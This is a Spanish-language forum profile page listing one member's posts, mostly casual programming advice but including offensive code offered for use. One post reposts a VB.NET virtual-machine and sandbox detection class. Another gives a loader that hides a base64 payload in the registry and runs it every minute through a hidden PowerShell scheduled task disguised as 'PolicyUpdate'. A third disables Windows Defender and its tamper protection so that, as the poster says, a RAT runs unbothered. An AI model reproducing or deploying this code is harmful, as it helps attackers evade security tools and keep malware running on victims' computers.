Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - 79137913

Páginas: [1] 2 3 ... 30
1
Dudas y pedidos generales / Re:Cryptografia
« en: Julio 10, 2019, 09:04:37 am »
HOLA!!!

Hola, que tan seguro puede ser usar la criptografia RSA en el lenguaje C#, utilizando el codigo que comunmente se ve por internet. Que me recomiendan?

Utiliza este: https://docs.microsoft.com/es-es/dotnet/api/system.security.cryptography.rsa?view=netframework-4.8 y no tendras problemas.


GRACIAS POR LEER!!!

2
Dudas y pedidos generales / Re:[SOLUCIONADO] Web de noticias
« en: Julio 05, 2019, 09:17:18 am »
HOLA!!!

Te paso mis favoritos:

https://www.unocero.com/

http://www.popularmechanics.com/

GRACIAS POR LEER!!!

3
C# - VB.NET / Re:[VB.NET] Anti - Virtual Machine
« en: Junio 25, 2019, 09:39:44 am »
HOLA!!!

buen aporte, copio el contenido del archivo subido para preservar el codigo en caso de baja del mismo.

[code=vbnet]Imports System.Runtime.InteropServices

' ***********************************************************************
' Author           : **Aincrad**
' Last Modified On : 09-05-2019
' ***********************************************************************
' <copyright file="AntiVM.vb" company="S4Lsalsoft">
'     Copyright (c) S4Lsalsoft. All rights reserved.
' </copyright>
' ***

Public Class AntiVM

#Region " Declarations "

    Shared DetectVM As Boolean = False
    Shared DesCriptVM As String = String.Empty

#End Region

#Region "Propiertes"

    Public Function IsVirtualMachinePresent() As Boolean
        Return DetectVM
    End Function

    Public Function DescriptcionVM() As String
        Return DesCriptVM
    End Function

#End Region

#Region " Public Methods  "

    Public Sub VM_Start()

        Dim ScanAsyncEngine As New Task(StarScan, TaskCreationOptions.LongRunning)

        ScanAsyncEngine.Start()

    End Sub

    Dim StarScan As New Action(
 Sub()
     StartProcessScan()
 End Sub)

    Private Sub StartProcessScan()

        If LoadLibrary("SbieDll.dll") = True Then
            DesCriptVM = "Sandboxie Detected"
            DetectVM = True
        End If

        If Not AntiVM() = "False" Then
            DesCriptVM = AntiVM()
            DetectVM = True
        End If

    End Sub

#End Region

#Region "Funcs"

    Private Function AntiVM() As String
        Dim oItem
        With GetObject("winmgmts:\\.\root\cimv2")
            For Each oItem In .ExecQuery("Select * from Win32_ComputerSystem")
                Debug.Print(oItem.Model, CBool(InStr(1, oItem.Model, "Virtual", vbTextCompare)))
                If CBool(InStr(1, oItem.Model, "Virtual", vbTextCompare)) = True Then
                    Return "Win32_ComputerSystem"
                End If

            Next

            For Each oItem In .ExecQuery("Select * from Win32_VideoController")
                If CBool(InStr(1, oItem.Caption, "VMWare", vbTextCompare)) = True Then
                    Return "Win32_VideoController"
                End If
            Next

            For Each Nic In .ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration")

                If Not IsDBNull(Nic.MACAddress) And Not IsDBNull(Nic.Description) Then
                    Dim MacAddress = LCase(CStr(Nic.MACAddress))
                    Dim Description = LCase(CStr(Nic.Description))
                    If InStr(1, MacAddress, "08:00:27:") = 1 And InStr(1, Description, "virtualbox") = 0 Then
                        Return "NetworkAdapterConfiguration"
                    End If
                End If

            Next


            For Each SysDrv In .ExecQuery("SELECT * FROM Win32_SystemDriver")
                Dim DescSysDrv = SysDrv.Description
                Dim DispSysDrv = SysDrv.DisplayName
                Dim NameSysDrv = SysDrv.Name
                Dim PathSysDrv = SysDrv.PathName
                If Not IsDBNull(DescSysDrv) Then
                    If DescSysDrv = "VirtualBox Guest Driver" Or DescSysDrv = "VirtualBox Guest Mouse Service" Or DescSysDrv = "VirtualBox Shared Folders" Or DescSysDrv = "VBoxVideo" Then
                        'test
                        Return "Win32_SystemDriver ==> SysDrv.Description ==> " & DescSysDrv
                    End If
                End If

                If Not IsDBNull(DispSysDrv) Then
                    If DispSysDrv = "VirtualBox Guest Driver" Or DispSysDrv = "VirtualBox Guest Mouse Service" Or DispSysDrv = "VirtualBox Shared Folders" Or DispSysDrv = "VBoxVideo" Then
                        'test
                        Return "Win32_SystemDriver ==> SysDrv.DisplayName ==> " & DispSysDrv
                    End If
                End If

                If Not IsDBNull(NameSysDrv) Then
                    If NameSysDrv = "VBoxGuest" Or NameSysDrv = "VBoxMouse" Or NameSysDrv = "VBoxSF" Or NameSysDrv = "VBoxVideo" Then
                        'test
                        Return "Win32_SystemDriver ==> SysDrv.Name ==> " & NameSysDrv
                    End If
                End If

                If Not IsDBNull(PathSysDrv) Then
                    Dim PathSysDrv_l = LCase(PathSysDrv)
                    If InStr(1, PathSysDrv_l, "vboxguest.sys") > 0 Or InStr(1, PathSysDrv_l, "vboxmouse.sys") > 0 Or InStr(1, PathSysDrv_l, "vboxsf.sys") > 0 Or InStr(1, PathSysDrv_l, "vboxvideo.sys") > 0 Then
                        'test
                        Return "Win32_SystemDriver ==> SysDrv.PathName ==> " & PathSysDrv
                    End If
                End If
            Next

            For Each EvtLogX In .ExecQuery("SELECT * FROM Win32_NTEventlogFile")
                If Not IsDBNull(EvtLogX) Then
                    Dim FileNameEvtX = CStr(EvtLogX.FileName)
                    Dim FileNameEvtX_l = LCase(FileNameEvtX)
                    If FileNameEvtX_l = "sysevent" Or FileNameEvtX_l = "system" Then
                        Dim SourcesEvtX = EvtLogX.Sources
                        For Each SourceEvtX In SourcesEvtX
                            Dim SourceEvtX_l = LCase(CStr(SourceEvtX))
                            If SourceEvtX_l = "vboxvideo" Then
                                'test
                                Return "Win32_NTEventlogFile ==> EvtLogX.Sources ==> " & SourceEvtX
                            End If
                        Next
                    End If
                End If
            Next


            For Each Bios In .ExecQuery("SELECT * FROM Win32_BIOS")
                If Not IsDBNull(Bios) Then
                    If Not IsDBNull(Bios.Manufacturer) Then
                        Dim ManufacturerBios = LCase(CStr(Bios.Manufacturer))
                        If InStr(1, ManufacturerBios, "innotek gmbh") > 0 Then
                            'test
                            Return "Win32_BIOS ==> Bios.Manufacturer ==> " & Bios.Manufacturer
                        End If
                    End If
                    If Not IsDBNull(Bios.SMBIOSBIOSVersion) Then
                        Dim SMBIOSBIOSVersionBios = LCase(CStr(Bios.SMBIOSBIOSVersion))
                        If InStr(1, SMBIOSBIOSVersionBios, "virtualbox") > 0 Then

                            Return "Win32_BIOS ==> Bios.SMBIOSBIOSVersion ==> " & Bios.SMBIOSBIOSVersion
                        End If
                    End If
                    If Not IsDBNull(Bios.Version) Then
                        Dim VersionBios = LCase(CStr(Bios.Version))
                        If InStr(1, VersionBios, "vbox   - 1") > 0 Then
                            'test
                            Return "Win32_BIOS ==> Bios.Version ==> " & Bios.Version
                        End If
                    End If
                End If
            Next

            For Each DiskDrive In .ExecQuery("SELECT * FROM Win32_DiskDrive")
                If Not IsDBNull(DiskDrive) Then
                    If Not IsDBNull(DiskDrive.Model) Then
                        Dim ModelDskDrv = LCase(DiskDrive.Model)
                        If ModelDskDrv = "vbox harddisk" Then
                            'test
                            Return "Win32_DiskDrive ==> DiskDrive.Model ==> " & DiskDrive.Model
                        End If
                    End If
                    If Not IsDBNull(DiskDrive.PNPDeviceID) Then
                        Dim PNPDeviceIDDskDrv = LCase(DiskDrive.PNPDeviceID)
                        If InStr(1, PNPDeviceIDDskDrv, "diskvbox") > 0 Then
                            'test
                            Return "Win32_DiskDrive ==> DiskDrive.PNPDeviceID ==> " & DiskDrive.PNPDeviceID
                        End If
                    End If
                End If
            Next

            For Each Startup In .ExecQuery("SELECT * FROM Win32_StartupCommand")
                If Not IsDBNull(Startup) Then
                    If Not IsDBNull(Startup.Caption) Then
                        Dim CaptionStartup = LCase(CStr(Startup.Caption))
                        If CaptionStartup = "vboxtray" Then
                            'test
                            Return "Win32_StartupCommand ==> Startup.Caption ==> " & Startup.Caption
                        End If
                    End If
                    If Not IsDBNull(Startup.Command) Then
                        Dim CommandStartup = LCase(CStr(Startup.Command))
                        If InStr(1, CommandStartup, "vboxtray.exe") > 0 Then
                            'test
                            Return "Win32_StartupCommand ==> Startup.Command ==> " & Startup.Command
                        End If
                    End If
                    If Not IsDBNull(Startup.Description) Then
                        Dim DescStartup = LCase(CStr(Startup.Description))
                        If DescStartup = "vboxtray" Then

                            Return "Win32_StartupCommand ==> Startup.Description ==> " & Startup.Description
                        End If
                    End If
                End If
            Next

            For Each ComputerSystem In .ExecQuery("SELECT * FROM Win32_ComputerSystem")
                If Not IsDBNull(ComputerSystem) Then
                    If Not IsDBNull(ComputerSystem.Manufacturer) Then
                        Dim ManufacturerComputerSystem = LCase(CStr(ComputerSystem.Manufacturer))
                        If ManufacturerComputerSystem = "innotek gmbh" Then
                            'test
                            Return "Win32_ComputerSystem ==> ComputerSystem.Manufacturer ==> " & ComputerSystem.Manufacturer
                        End If
                    End If
                    If Not IsDBNull(ComputerSystem.Model) Then
                        Dim ModelComputerSystem = LCase(CStr(ComputerSystem.Model))
                        If ModelComputerSystem = "virtualbox" Then

                            Return "Win32_ComputerSystem ==> ComputerSystem.Model ==> " & ComputerSystem.Model
                        End If
                    End If
                    If Not IsDBNull(ComputerSystem.OEMStringArray) Then
                        Dim OEMStringArrayComputerSystem = ComputerSystem.OEMStringArray
                        For Each OEM In OEMStringArrayComputerSystem
                            Dim OEM_l = LCase(OEM)
                            If InStr(1, OEM_l, "vboxver_") > 0 Or InStr(1, OEM_l, "vboxrev_") > 0 Then
                                'test
                                Return "Win32_ComputerSystem ==> ComputerSystem.OEMStringArray ==> " & OEM
                            End If
                        Next
                    End If
                End If
            Next


            For Each Service In .ExecQuery("SELECT * FROM Win32_Service")
                If Not IsDBNull(Service) Then
                    If Not IsDBNull(Service.Caption) Then
                        Dim CaptionService = LCase(CStr(Service.Caption))
                        If CaptionService = "virtualbox guest additions service" Then
                            'test
                            Return "Win32_Service ==> Service.Caption ==> " & Service.Caption
                        End If
                    End If
                    If Not IsDBNull(Service.DisplayName) Then
                        Dim DisplayNameService = LCase(CStr(Service.DisplayName))
                        If DisplayNameService = "virtualbox guest additions service" Then
                            'test
                            Return "Win32_Service ==> Service.DisplayName ==> " & Service.DisplayName
                        End If
                    End If
                    If Not IsDBNull(Service.Name) Then
                        Dim NameService = LCase(CStr(Service.Name))
                        If NameService = "vboxservice" Then
                            'test
                            Return "Win32_Service ==> Service.Name ==> " & Service.Name
                        End If
                    End If
                    If Not IsDBNull(Service.PathName) Then
                        Dim PathNameService = LCase(CStr(Service.PathName))
                        If InStr(1, PathNameService, "vboxservice.exe") > 0 Then
                            'test
                            Return "Win32_Service ==> Service.PathName ==> " & Service.PathName
                        End If
                    End If
                End If
            Next


            For Each LogicalDisk In .ExecQuery("SELECT * FROM Win32_LogicalDisk")
                If Not IsDBNull(LogicalDisk) Then
                    If Not IsDBNull(LogicalDisk.DriveType) Then
                        If LogicalDisk.DriveType = 3 Then
                            If Not IsDBNull(LogicalDisk.VolumeSerialNumber) Then
                                Dim VolumeSerialNumberLogicalDisk = LCase(LogicalDisk.VolumeSerialNumber)
                                If VolumeSerialNumberLogicalDisk = "fceae0a3" Then
                                    'test
                                    Return "Win32_LogicalDisk ==> LogicalDisk.VolumeSerialNumber ==> " & LogicalDisk.VolumeSerialNumber
                                End If
                            End If
                        ElseIf LogicalDisk.DriveType = 5 Then
                            If Not IsDBNull(LogicalDisk.VolumeName) Then
                                Dim VolumeNameLogicalDisk = LCase(LogicalDisk.VolumeName)
                                'Volume name should be "VBOXADDITIONS_4."
                                If InStr(1, VolumeNameLogicalDisk, "vboxadditions") > 0 Then

                                    Return "Win32_LogicalDisk ==> LogicalDisk.VolumeName ==> " & LogicalDisk.VolumeName
                                End If
                            End If
                        End If
                    End If
                End If
            Next

            '//////////////////////////////////////////////////////////////////////////


            For Each LocalProgramGroup In .ExecQuery("SELECT * FROM Win32_LogicalProgramGroup")
                If Not IsDBNull(LocalProgramGroup) Then
                    Dim NameLocalProgramGroup = LCase(LocalProgramGroup.Name)
                    If InStr(1, NameLocalProgramGroup, "oracle vm virtualbox guest additions") > 0 Then
                        'test
                        Return "Win32_LogicalProgramGroup ==> LocalProgramGroup.Name ==> " & LocalProgramGroup.Name
                    End If
                End If
            Next



            'Win32_NetworkAdapter aka NIC
            For Each NIC_x In .ExecQuery("SELECT * FROM Win32_NetworkAdapter")
                If Not IsDBNull(NIC_x.MACAddress) And Not IsDBNull(NIC_x.Description) Then
                    Dim MacAddress_x = LCase(CStr(NIC_x.MACAddress))
                    Dim Description_x = LCase(CStr(NIC_x.Description))
                    'We want to detect the VirtualBox guest, not the host
                    If InStr(1, MacAddress_x, "08:00:27:") = 1 And InStr(1, Description_x, "virtualbox") = 0 Then
                        'test
                        Return "Wow: Win32_NetworkAdapter ==> NIC.MacAddress: " & NIC_x.MACAddress
                    End If
                End If
            Next


            'Win32_Process aka process
            For Each Process In .ExecQuery("SELECT * FROM Win32_Process")
                If Not IsDBNull(Process) Then
                    If Not IsDBNull(Process.Description) Then
                        Dim DescProcess = LCase(Process.Description)
                        If DescProcess = "vboxservice.exe" Or DescProcess = "vboxtray.exe" Then
                            'test
                            Return "Win32_Process ==> Process.Description ==> " & Process.Description
                        End If
                    End If
                    If Not IsDBNull(Process.Name) Then
                        Dim NameProcess = LCase(Process.Name)
                        If NameProcess = "vboxservice.exe" Or NameProcess = "vboxtray.exe" Then
                            ''test "Win32_Process ==> Process.Name ==> " & Process.Name
                            Return True
                        End If
                    End If
                    If Not IsDBNull(Process.CommandLine) Then
                        Dim CmdProcess = LCase(Process.CommandLine)
                        If InStr(1, CmdProcess, "vboxservice.exe") > 0 Or InStr(1, CmdProcess, "vboxtray.exe") > 0 Then
                            'test
                            Return "Win32_Service ==> Process.CommandLine ==> " & Process.CommandLine
                        End If
                    End If
                    If Not IsDBNull(Process.ExecutablePath) Then
                        Dim ExePathProcess = LCase(Process.ExecutablePath)
                        If InStr(1, ExePathProcess, "vboxservice.exe") > 0 Or InStr(1, ExePathProcess, "vboxtray.exe") > 0 Then
                            ''test
                            Return "Win32_Service ==> Process.ExecutablePath ==> " & Process.ExecutablePath
                        End If
                    End If
                End If
            Next

            'Win32_BaseBoard aka BaseBoard

            For Each BaseBoard In .ExecQuery("SELECT * FROM Win32_BaseBoard")
                If Not IsDBNull(BaseBoard) Then
                    If Not IsDBNull(BaseBoard.Manufacturer) Then
                        Dim ManufacturerBaseBoard = LCase(BaseBoard.Manufacturer)
                        If ManufacturerBaseBoard = "oracle corporation" Then
                            ''test
                            Return "Win32_BaseBoard ==> BaseBoard.Manufacturer ==> " & BaseBoard.Manufacturer
                        End If
                    End If
                    If Not IsDBNull(BaseBoard.Product) Then
                        Dim ProductBaseBoard = LCase(BaseBoard.Product)
                        If ProductBaseBoard = "virtualbox" Then
                            ''test
                            Return "Win32_BaseBoard ==> BaseBoard.Product ==> " & BaseBoard.Product
                        End If
                    End If
                End If
            Next

            'Win32_SystemEnclosure aka SystemEnclosure

            For Each SystemEnclosure In .ExecQuery("SELECT * FROM Win32_SystemEnclosure")
                If Not IsDBNull(SystemEnclosure) Then
                    If Not IsDBNull(SystemEnclosure.Manufacturer) Then
                        Dim ManufacturerSystemEnclosure = LCase(SystemEnclosure.Manufacturer)
                        If ManufacturerSystemEnclosure = "oracle corporation" Then
                            'test
                            Return "Win32_SystemEnclosure ==> SystemEnclosure.Manufacturer ==> " & SystemEnclosure.Manufacturer
                        End If
                    End If
                End If
            Next

            'Win32_CDROMDrive aka cdrom
            For Each CDRom In .ExecQuery("SELECT * FROM Win32_CDROMDrive")
                If Not IsDBNull(CDRom) Then
                    If Not IsDBNull(CDRom.Name) Then
                        Dim NameCDRom = LCase(CDRom.Name)
                        If NameCDRom = "vbox cd-rom" Then
                            'test
                            Return "Win32_CDROMDrive ==> CDRom.Name ==> " & CDRom.Name
                        End If
                    End If
                    If Not IsDBNull(CDRom.VolumeName) Then
                        Dim VolumeNameCDRom = LCase(CDRom.VolumeName)
                        'Volume name should be "VBOXADDITIONS_4."
                        If InStr(1, VolumeNameCDRom, "vboxadditions") > 0 Then
                            'test
                            Return "Win32_CDROMDrive ==> CDRom.VolumeName ==> " & CDRom.VolumeName
                        End If
                    End If
                    If Not IsDBNull(CDRom.DeviceID) Then
                        Dim DeviceIDCDRom = LCase(CDRom.DeviceID)
                        If InStr(1, DeviceIDCDRom, "cdromvbox") > 0 Then
                            'test
                            Return "Win32_CDROMDrive ==> CDRom.DeviceID ==> " & CDRom.DeviceID
                        End If
                    End If
                    If Not IsDBNull(CDRom.PNPDeviceID) Then
                        Dim PNPDeviceIDCDRom = LCase(CDRom.PNPDeviceID)
                        If InStr(1, PNPDeviceIDCDRom, "cdromvbox") > 0 Then

                            Return "Win32_CDROMDrive ==> CDRom.PNPDeviceID ==> " & CDRom.PNPDeviceID
                        End If
                    End If
                End If
            Next


            'WIN32_NetworkClient aka netclient
            For Each NetClient In .ExecQuery("SELECT * FROM WIN32_NetworkClient")
                If Not IsDBNull(NetClient) Then
                    If Not IsDBNull(NetClient.Description) Then
                        Dim DescNetClient = LCase(NetClient.Description)
                        If DescNetClient = "vboxsf" Then
                            'test
                            Return "WIN32_NetworkClient ==> NetClient.Description ==> " & NetClient.Description
                        End If
                    End If
                    If Not IsDBNull(NetClient.Manufacturer) Then
                        Dim ManufacturerNetClient = LCase(NetClient.Manufacturer)
                        If ManufacturerNetClient = "oracle corporation" Then
                            'test
                            Return "WIN32_NetworkClient ==> NetClient.Manufacturer ==> " & NetClient.Manufacturer
                        End If
                    End If
                    If Not IsDBNull(NetClient.Name) Then
                        Dim NameNetClient = LCase(NetClient.Name)
                        If NameNetClient = "virtualbox shared folders" Then
                            'test
                            Return "WIN32_NetworkClient ==> NetClient.Name ==> " & NetClient.Name
                        End If
                    End If
                End If
            Next

            'Win32_ComputerSystemProduct aka csproduct

            For Each CSProduct In .ExecQuery("SELECT * FROM Win32_ComputerSystemProduct")
                If Not IsDBNull(CSProduct) Then
                    If Not IsDBNull(CSProduct.Name) Then
                        Dim NameCSProduct = LCase(CSProduct.Name)
                        If NameCSProduct = "virtualbox" Then
                            'test
                            Return "Win32_ComputerSystemProduct ==> CSProduct.Name ==> " & CSProduct.Name
                        End If
                    End If
                    If Not IsDBNull(CSProduct.Vendor) Then
                        Dim VendorCSProduct = LCase(CSProduct.Vendor)
                        If VendorCSProduct = "innotek gmbh" Then
                            'test
                            Return "Win32_ComputerSystemProduct ==> CSProduct.Vendor ==> " & CSProduct.Vendor
                        End If
                    End If
                End If
            Next

            'Win32_VideoController

            For Each VideoController In .ExecQuery("SELECT * FROM Win32_VideoController")
                If Not IsDBNull(VideoController) Then
                    If Not IsDBNull(VideoController.Name) Then
                        Dim NameVideoController = LCase(VideoController.Name)
                        If NameVideoController = "virtualbox graphics adapter" Then
                            'test
                            Return "Win32_VideoController ==> VideoController.Name ==> " & VideoController.Name
                        End If
                    End If
                    If Not IsDBNull(VideoController.Description) Then
                        Dim DescVideoController = LCase(VideoController.Description)
                        If DescVideoController = "virtualbox graphics adapter" Then
                            'test
                            Return "Win32_VideoController ==> VideoController.Description ==> " & VideoController.Description
                        End If
                    End If
                    If Not IsDBNull(VideoController.Caption) Then
                        Dim CaptionVideoController = LCase(VideoController.Caption)
                        If CaptionVideoController = "virtualbox graphics adapter" Then
                            'test
                            Return "Win32_VideoController ==> VideoController.Caption ==> " & VideoController.Caption
                        End If
                    End If
                    If Not IsDBNull(VideoController.VideoProcessor) Then
                        Dim VideoProcessorVideoController = LCase(VideoController.VideoProcessor)
                        If VideoProcessorVideoController = "vbox" Then

                            Return "Win32_VideoController ==> VideoController.VideoProcessor ==> " & VideoController.VideoProcessor
                        End If
                    End If
                    If Not IsDBNull(VideoController.InstalledDisplayDrivers) Then
                        Dim InstalledDisplayDriversVideoController = LCase(VideoController.InstalledDisplayDrivers)
                        If InstalledDisplayDriversVideoController = "vboxdisp.sys" Then
                            'test
                            Return "Win32_VideoController ==> VideoController.InstalledDisplayDrivers ==> " & VideoController.InstalledDisplayDrivers
                        End If
                    End If
                    If Not IsDBNull(VideoController.InfSection) Then
                        Dim InfSectionVideoController = LCase(VideoController.InfSection)
                        If InfSectionVideoController = "vboxvideo" Then
                            'test
                            Return "Win32_VideoController ==> VideoController.InfSection ==> " & VideoController.InfSection
                        End If
                    End If
                    If Not IsDBNull(VideoController.AdapterCompatibility) Then
                        Dim AdapterCompatibilityVideoController = LCase(VideoController.AdapterCompatibility)
                        If AdapterCompatibilityVideoController = "oracle corporation" Then
                            'test
                            Return "Win32_VideoController ==> VideoController.AdapterCompatibility ==> " & VideoController.AdapterCompatibility
                        End If
                    End If
                End If
            Next


            'Win32_PnPEntity

            For Each PnPEntity In .ExecQuery("SELECT * FROM Win32_PnPEntity")
                If Not IsDBNull(PnPEntity) Then
                    If Not IsDBNull(PnPEntity.Name) Then
                        Dim NamePnPEntity = LCase(PnPEntity.Name)
                        If NamePnPEntity = "virtualbox device" Or NamePnPEntity = "vbox harddisk" Or NamePnPEntity = "vbox cd-rom" Or NamePnPEntity = "virtualbox graphics adapter" Then
                            'test
                            Return "Win32_PnPEntity ==> PnPEntity.Name ==> " & PnPEntity.Name
                        End If
                    End If
                    If Not IsDBNull(PnPEntity.Caption) Then
                        Dim CaptionPnPEntity = LCase(PnPEntity.Caption)
                        If CaptionPnPEntity = "virtualbox device" Or CaptionPnPEntity = "vbox harddisk" Or CaptionPnPEntity = "vbox cd-rom" Or CaptionPnPEntity = "virtualbox graphics adapter" Then
                            'test
                            Return "Win32_PnPEntity ==> PnPEntity.Caption ==> " & PnPEntity.Caption
                        End If
                    End If
                    If Not IsDBNull(PnPEntity.Description) Then
                        Dim DescPnPEntity = LCase(PnPEntity.Description)
                        If DescPnPEntity = "virtualbox device" Or DescPnPEntity = "virtualbox graphics adapter" Then

                            Return "Win32_PnPEntity ==> PnPEntity.Description ==> " & PnPEntity.Description
                        End If
                    End If
                    If Not IsDBNull(PnPEntity.Service) Then
                        Dim SrvPnPEntity = LCase(PnPEntity.Service)
                        If SrvPnPEntity = "vboxguest" Or SrvPnPEntity = "vboxvideo" Then

                            Return "Win32_PnPEntity ==> PnPEntity.Service ==> " & PnPEntity.Service
                        End If
                    End If
                    If Not IsDBNull(PnPEntity.DeviceID) Then
                        Dim DeviceIDPnPEntity = LCase(PnPEntity.DeviceID)
                        If InStr(1, DeviceIDPnPEntity, "diskvbox_") > 0 Or InStr(1, DeviceIDPnPEntity, "cdromvbox_") > 0 Then
                            'test
                            Return "Win32_PnPEntity ==> PnPEntity.DeviceID ==> " & PnPEntity.DeviceID
                        End If
                    End If
                    If Not IsDBNull(PnPEntity.PNPDeviceID) Then
                        Dim PNPDeviceIDPnPEntity = LCase(PnPEntity.PNPDeviceID)
                        If InStr(1, PNPDeviceIDPnPEntity, "diskvbox_") > 0 Or InStr(1, PNPDeviceIDPnPEntity, "cdromvbox_") > 0 Then
                            'test
                            Return "Win32_PnPEntity ==> PnPEntity.PNPDeviceID ==> " & PnPEntity.PNPDeviceID
                        End If
                    End If
                End If
            Next

            'Win32_NetworkConnection aka NetUse

            For Each NetUse In .ExecQuery("SELECT * FROM Win32_NetworkConnection")
                If Not IsDBNull(NetUse) Then
                    If Not IsDBNull(NetUse.Name) Then
                        Dim NameNetUse = LCase(NetUse.Name)
                        If InStr(1, NameNetUse, "vboxsvr") > 0 Then
                            'test
                            Return "Win32_NetworkConnection ==> NetUse.Name ==> " & NetUse.Name
                        End If
                    End If
                    If Not IsDBNull(NetUse.Description) Then
                        Dim DescNetUse = LCase(NetUse.Description)
                        If InStr(1, DescNetUse, "virtualbox shared folders") > 0 Then
                            'test
                            Return "Win32_NetworkConnection ==> NetUse.Description ==> " & NetUse.Description
                        End If
                    End If
                    If Not IsDBNull(NetUse.ProviderName) Then
                        Dim PrvNameNetUse = LCase(NetUse.ProviderName)
                        If PrvNameNetUse = "virtualbox shared folders" Then
                            'test
                            Return "Win32_NetworkConnection ==> NetUse.ProviderName ==> " & NetUse.ProviderName
                        End If
                    End If

                    If Not IsDBNull(NetUse.RemoteName) Then
                        Dim RemoteNameNetUse = LCase(NetUse.RemoteName)
                        If InStr(1, RemoteNameNetUse, "vboxsvr") > 0 Then
                            'test
    &

4
HOLA!!!

Si, tenes razon, mucho mas comodo con On Error Resume Next!!!

Igual... ese comentario es de un desarrollador que estuvo en VB6 como yo, me equivoco?

Jajaja, los estandares de .NET no aprueban el uso de OERN

Que bueno ver a otro desarrollador competente!

Viste este post? puede servirte, aun no esta parcheado https://underc0de.org/foro/visual-studio-net/(source)-deshabilitar-windows-defender-en-tiempo-de-ejecucion(vb-net-wd-bypass)/

GRACIAS POR LEER!!!

5
Dudas y pedidos generales / Re:Instalar Visual Studio en Debian
« en: Junio 10, 2019, 10:18:57 am »
HOLA!!!

Como te han dicho NO INSTALES VS EN LINUX.

Vas a tener problemas con el debugger, muchos problemas para ponerlo en marcha y problemas con la compilacion.

Mejor solucion: DualBoot
Solucion solo linux: Maquina Virtual con windows.
Solucion Alternativa: Monodevelop

GRACIAS POR LEER!!!

6
Dudas y pedidos generales / Re:Metodos de expansion
« en: Junio 07, 2019, 09:36:55 am »
HOLA!!!

A que te referis con expandir?
Queres aumentar su tamaño en bytes?
Queres aumentar sus capacidades?
Queres diseminar su servidor?

GRACIAS POR LEER!!!

7
HOLA!!!

Funciona.

Y en efecto es reversible.
Acaso usted dudaba de mi? ajjajaja

Hermoso trabajo, sencillo y elegante.

Una vez más muchas gracias.

Gracias, es un gran agrado que alguien aprecie mi trabajo.

P.D: esto podria llamarse "zero day" no esta parchado, puede que en un tiempo deje de funcionar.

8
HOLA!!!

Chicos les paso este código muy bueno que armé para ejecutar un payload desde powershell a traves de VBNET con recursos, solo poner el payload en My.Resources.PYLD
Ademas es persistente.
Código: vb.net
  1. Public Class Program
  2.     Public Shared Sub Main()
  3.         Dim Payload As String = Nothing
  4.         Try
  5.             'Convierto recurso a B64
  6.             PYLDSTR= Convert.ToBase64String(My.Resources.PYLD)
  7.         Catch ex As Exception
  8.         End Try
  9.         Try
  10.             'Guardamos en el registro para luego levantarlo
  11.             Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\PYLDAPP").SetValue("PYLD", PYLDSTR)
  12.         Catch ex As Exception
  13.         End Try
  14.         Dim PS As String = Nothing
  15.         Try
  16.             PS = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)"
  17.             'guardamos el task como PolicyUpdate
  18.             Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
  19.                 .FileName = "schtasks",
  20.                 .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
  21.                 .CreateNoWindow = True,
  22.                 .ErrorDialog = False,
  23.                 .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
  24.                 })
  25.         Catch ex As Exception
  26.         End Try
  27.     End Sub
  28. End Class

GRACIAS POR LEER!!!

9
Off Topic / Re:Que distribucion me recomiendan?
« en: Junio 03, 2019, 09:50:51 am »
HOLA!!!

Fedora // RedHat siempre seran lo mejor

GRACIAS POR LEER!!!

10
HOLA!!!

1) Si deseas volver a activar tenes que poner de nuevo todos los valores como los tenias (esto depende de tu config)
2) Si, inclusive sin codigo solo desde la gui de windows

GRACIAS POR LEER!!!

11
HOLA!!!

Les paso este codigo recien terminado para deshabilitar Windows defender en tiempo de ejecucion.

Vieron que Windows defender es casi tan histerico como Avira, suele saltar por casi cualquier cosa, solo ejecuten este codigo antes que su RAT y se va a ejecutar sin problemas sin que WD moleste.

[El metodo deshabilita Windows defender y la distribucion de muestras sin mostrar ninguna notificacion ni reiniciar la pc todo instantaneo y bonito]

Código: vb.net
  1. Imports System
  2. Imports Microsoft.Win32
  3. Imports System.Diagnostics
  4. Imports System.Security.Principal
  5.  
  6. Namespace DeshabilitarWD
  7.     Class Programa
  8.         Private Shared Sub Main()
  9.             If Not New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) Then Return
  10.             EditarRegistro("SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0")
  11.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1")
  12.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1")
  13.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1")
  14.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1")
  15.             CheckDefender()
  16.         End Sub
  17.  
  18.         Private Shared Sub CheckDefender()
  19.             Dim proc As Process = New Process With {
  20.                 .StartInfo = New ProcessStartInfo With {
  21.                     .FileName = "powershell",
  22.                     .Arguments = "Get-MpPreference -verbose",
  23.                     .UseShellExecute = False,
  24.                     .RedirectStandardOutput = True,
  25.                     .WindowStyle = ProcessWindowStyle.Hidden,
  26.                     .CreateNoWindow = True
  27.                 }
  28.             }
  29.             proc.Start()
  30.  
  31.             While Not proc.StandardOutput.EndOfStream
  32.                 Dim line As String = proc.StandardOutput.ReadLine()
  33.  
  34.                 If line.Contains("DisableRealtimeMonitoring") AndAlso line.Contains("False") Then
  35.                     Pwrshll("Set-MpPreference -DisableRealtimeMonitoring $true")
  36.                 ElseIf line.Contains("DisableBehaviorMonitoring") AndAlso line.Contains("False") Then
  37.                     Pwrshll("Set-MpPreference -DisableBehaviorMonitoring $true")
  38.                 ElseIf line.Contains("DisableBlockAtFirstSeen") AndAlso line.Contains("False") Then
